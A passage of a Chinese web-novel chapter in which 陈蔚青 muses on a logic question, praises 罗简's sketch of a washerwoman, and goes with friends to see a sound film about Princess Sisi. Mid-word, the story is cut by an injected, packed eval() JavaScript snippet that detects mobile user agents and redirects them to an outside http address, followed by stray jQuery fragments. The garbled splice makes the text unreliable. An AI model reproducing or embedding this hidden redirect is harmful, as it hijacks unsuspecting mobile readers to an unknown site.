陈蔚青趴在锅炉房的桌子上，桌面已经被擦得发亮。窗外风吹着枯叶在铁皮屋檐上飒飒作响，她的铅笔头却迟迟停在空白纸上。
“命题清晰。”她低声重复着梁悯初的说过的话，“不能模棱两可，也不能感情用事。”
她写下第一句，又划掉。写了第二句，又擦掉。最终，她在纸上郑重地写下：“如果服从是错的，那不服从就一定是对的吗？”
写完她就停住了，盯着那一行字，仿佛盯着镜子里的自己。逻辑代数并不允许犹豫，可她犹豫了许久。
这个问题她不是第一次问自己，但这是第一次，用逻辑的方式问出口。
她在纸下画了两个格子，一边写上“是”，一边写上“否”。
铅笔头在“否”上轻轻一点，又停下。
那是自然，这是逻辑，是数学，是不容置疑的。
“服从是错的”的否命题是“不服从是不错的”，也就是“不服从一定是对的”。
但可惜真命题的否命题不一定是真命题。
她忽然觉得这不像是在解一道逻辑题，更像是在押一场赌注。
她手指还搭在纸上，耳边却传来“沙沙沙”的声音。她抬起头，发现不远处，罗简正趴在一块空着的卡纸板上写东西。她身子半伏着，舌尖还顶着嘴角，像是在给每一个字都加上点力气。
“你在写什么？”陈蔚青有些好奇。
“没什么！”罗简“唰”地把那张纸往怀里一揣，眼睛一瞪，像只被抓住偷吃糖的小猫。
“让我看看嘛。”蔚青伸出手。
“真的没什么啦！”她脸颊一红，又悄悄往后藏，纸边却露出一小行歪歪斜斜的铅笔字。
陈蔚青笑了笑，轻轻一拉，罗简没拦住，只好垂着脑袋任她抽走那张纸。
纸张上是几段零碎的句子，字不工整，标点混乱，有些字还一看就知道是生拼硬造，但那种认真劲却从歪歪扭扭的笔划里透了出来。
她写的是码头边的一个女人。每天早晨天还没亮，就提着竹篮子和破桶，赤着脚踩着湿滑的青石板下来洗衣服。她总爱唱歌，不是那种戏曲，没人知道那是什么，或许是她自己写的呢，歌曲的尾巴拖得长长的，像是不愿意结束。
有一回冬天看到那女人蹲在水边，脚已经冻得通红，鞋子却没脱，裤脚浸着水。她说她原本想叫她回去歇歇，可她唱得太入神，像是忘了这个冬天是给人冷的，忘了水是给人疼的。
“多冷的天呐，像刀子一样。”
“还好咯，我听说往北边走啊，冬天会下雪，跟人一样厚呢。”
“大娘，你见过雪吗？”
“没有，但应该是白色的吧。”
她写她有次在码头角落睡午觉，迷迷糊糊地听到那女人唱到一半停下，远远地传来别人口气粗的喊声：“阿珠——饭呢！”然后歌声就没了。她从石头缝里抬头看过去，只看到那女人把衣服一裹，飞快地往家走，走几步又回头看河水，像是怕有人偷了她洗到一半的褂子。那女人手上的皱纹像麻绳，唱歌的时候总是笑，笑得嘴角往下垂。她从来没听清那女人唱的是什么，但就是好听，直到现在，她还是会在梦里听到那首歌。
“你这篇，写得真挺好。”陈蔚青轻声说。
“你别笑我啊！”罗简抱着头，“我就瞎写写，反正你说以后要写文章嘛，我就想试试。”
“我为什么要笑你？”蔚青拍拍她，“这比我第一次写的还好。”
“真的？”
“真的。”她认真地点头，“你这篇，我要给婉芝看。说不定，下期的报纸上就能登出来。”
罗简嘴张得大大的，最后狠狠地点了点头：“嗯！”
“那么感人？”沈时砚在角落悠悠地开口，手上还在摆弄着他的继电器，“那我也写一篇，题目叫《命题逻辑分析》，附带三页数学证明，怎么样？”
“滚。”陈蔚青和罗简几乎异口同声。
就在这时，锅炉房门被猛地推开，风卷着几张废纸飘了进来，黎婉芝穿着一件浅米色短外套，风风火火地冲了进来，手上举着一张泛黄的宣传单。
“走啦走啦！电影院今天放新片！”她边喘气边挥舞着纸，“派拉蒙的新片，听说是有声片，老黎说那唱歌的人像是在耳边唱的——要不要听听？”
“有声片？”罗简一瞬间坐直了，眼睛亮得像猫看见灯，“什么意思？真的人说话吗？”
“当然是！”婉芝得意地一挥手，“在明珠电影院，今天晚上六点，赶得上！我刚和售票的说好了，有三张票。”
“哎你怎么就准备了三张？”蔚青狐疑地看她。
“当然是给你、我、还有我们的小作家。”婉芝笑眯眯地看向罗简。
沈时砚在角落咳了一声：“好歹我也出过力啊，电影不给我看？”
罗炽南也在角落咳嗽了一声：“咳咳，我就不用了，给我妹妹带回来就行。”
“等你写完你的逻辑分析，我们请你看《论人类不平等的起源与基础》。”婉芝翻了个白眼，把宣传单甩进他怀里，又转头对罗炽南说，“抱歉忘记你了南哥，咱们看浪漫爱情故事也不好意思带着你们是吧，反正你放心好了！一定会把你妹妹全须全尾地带回来给你的。”
天色将暮，三人有说有笑地从锅炉房里走出去，一路经过码头旧街，走过昏黄灯火和小贩摊前的汽水箱。明珠电影院的门口已站了不少人，穿长衫的、穿西装的、还有穿洋裙的太太。灯牌上的片名写着《茜茜与皇冠》，灯泡一闪一闪地亮，像是要把整座城市照进新的时代。
“哇……”罗简仰着头看那幕布一样的灯箱，“第一次看电影哎……”
“而且是第一次听见电影会说话。”婉芝搂住她。
“那我该穿得隆重点……”她悄悄拉拉自己的工装裤。
“没关系，我们就是来见见世界的。”陈蔚青站在她另一边，语气轻柔，却带着坚定，“反正我们已经在写它了。”
电影院大门缓缓打开，柔和的光从门缝中泄出来，映在三人脸上——那是少女最明亮、最满怀期待的表情，如夜色中最早亮起的三盏灯。
电影厅的灯缓缓熄灭，荧幕前一瞬间漆黑无声。
罗简紧紧攥着椅子的边缘，眼睛睁得比灯泡还大。黎婉芝靠在她旁边，嘴里嚼着半化的硬糖，眼神里却早就亮晶晶的，像是比谁都知道接下来会发生什么。陈蔚青坐在最边上，裙角整整齐齐地收好，手里还攥着那张被折过几次的票根。
银幕亮起来的时候，是一点微光在黑暗里挣扎，然后一下子炸开，像天花板裂出一道缝，从里面灌下了另一个世界的光。
有声片开始了。
屏幕上，一个女人——那是主角茜茜公主，她在奔跑，她的裙角扬起，嘴巴张开，竟真的发出了声音。
不是字幕，不是讲解，是——她在说话，她在唱歌。
罗简像被电到了一样，整个人往前倾了半寸。
她眼睛睁得极大，嘴唇轻微张开，好像怕惊扰了什么圣物。
“哇……”她低低吐出这声，几乎不是在说话，而是惊叹。
电影是黑白的，画面不算清晰，声音里带着老式留声机的沙沙响。主角茜茜公主第一次骑马出场时，她头发在风中飞舞，眼睛亮得像星星，一句“我不想嫁人，我想去环游世界”，就让全场悄悄安静了一瞬。
她不是那种规规矩矩的公主，她会偷跑出去爬树，躲在厨房帮厨子做点心。她第一次见到皇帝时正穿着一身不合规矩的猎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502448|170413||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
装，头发还乱着，脸上是被阳光晒红的热度。可她却毫不怯场地说：“我是我父亲的女儿，不是王冠的附属。”
“这台词真漂亮……”黎婉芝小声赞叹。
陈蔚青心里轻轻一动。
电影后半段，茜茜嫁给了皇帝，却在礼仪、宫规和女人的敌意中渐渐失语。她看着镜中被打理得无可挑剔的自己，轻声说：“我变得连我自己都不认识了。”然后独自一人离开了宫廷，去了海边。
镜头拍下她在海边骑马、在山上读书，在一间开满牵牛花的小屋里独自生活。直到某天皇帝来找她，说：“我需要的是你，不是一个完美的皇后。”
“可我不再知道，我是谁了。”茜茜说。
电影的最后，她还是回到了维也纳，坐在王座边，却闭上了眼睛，像是困倦了很久。
电影就这样在她在王座上的打盹里结束了。”
灯光亮起。
电影院一时静默。三人都没有说话，像是被这场黑白梦缠了一整晚，谁也没先醒过来。
“你们说……”罗简先开口，声音有点哑，“她开心吗？”
“她自由吗？”黎婉芝说。
“她是她自己吗？”陈蔚青问。
然后三人对视了一眼，忽然笑了。
“唉……”婉芝伸个懒腰，“南州的三个平凡女子，操着公主的心。蔚青你想想得了，我费个什么劲。”
“但你不觉得……”蔚青慢慢说，“她其实是我们都想过的那种人吗？反叛一点、聪明一点、不太妥协……但最后还是回去了。”
三人走出影院，风吹起街上的灯光，脚边是汽水瓶滚落的声音。外头街灯还亮着，街上人影稀落，三人一言不发地走了一段路，才在路口一起笑了起来。
南州街头的灯光不像北方城市那样明亮，却也足够照出人影。几家杂货铺还没打烊，街角传来卖糖人的吆喝声。风吹过明珠电影院的门帘，扬起一缕缕刚刚被电影熏热的回忆。
“她真美啊……”罗简一边走一边念叨，仿佛还沉在电影里，“那个海边的镜头，我都想哭了。”
“你是羡慕她的裙子，还是她那匹白马？”黎婉芝打趣她。
“是她那句‘我变得连我自己都不认识了’。”罗简小声说。她的声音有些迟疑，像是怕自己太过认真了。
三人走到旧城区的小巷口，月亮从云层里探出头来，昏黄的街灯下，她们的影子拉得老长。
忽然，罗简像是心血来潮，轻轻哼起了刚才电影里反复出现的一首旋律。
那是一句德语的歌，调子柔柔的，像是穿过维也纳的风。她不会德语，只是在模仿她的发音，词也记得不全，调子甚至有点走音，可唱得极认真，眼睛望着月亮，像是要把整个梦留住。
陈蔚青和黎婉芝都停住了脚步。
月光落在她们身上，白色的、薄薄的，像洒了一层旧时代的银粉。
罗简唱到一半，又抬头看月亮，仿佛她的声音是要给谁听的。
陈蔚青低声说：“……简直跟电影里面一模一样。”
罗简一愣，回头看她，脸上浮现一点茫然的笑：“是吗？”
“是真的。”黎婉芝走上前去，伸手抱住她的肩，像是忽然被触动了什么，“阿简，以后你一定要演电影。”
“我？”罗简愣住。
“当然！你之前不是说了吗，你想演，而且你可以的！”婉芝盯着她看，“那就够了。”
她们就这样走在路灯与月光交错的街道上，像三根并肩燃烧的火柴。光亮很小，却足够照亮脚下的石板路。
陈蔚青忽然想到，如果有一天罗简真的出现在银幕上，她一定还记得这个夜晚——那个旧街口、电影院门口、电影刚放完的夜晚。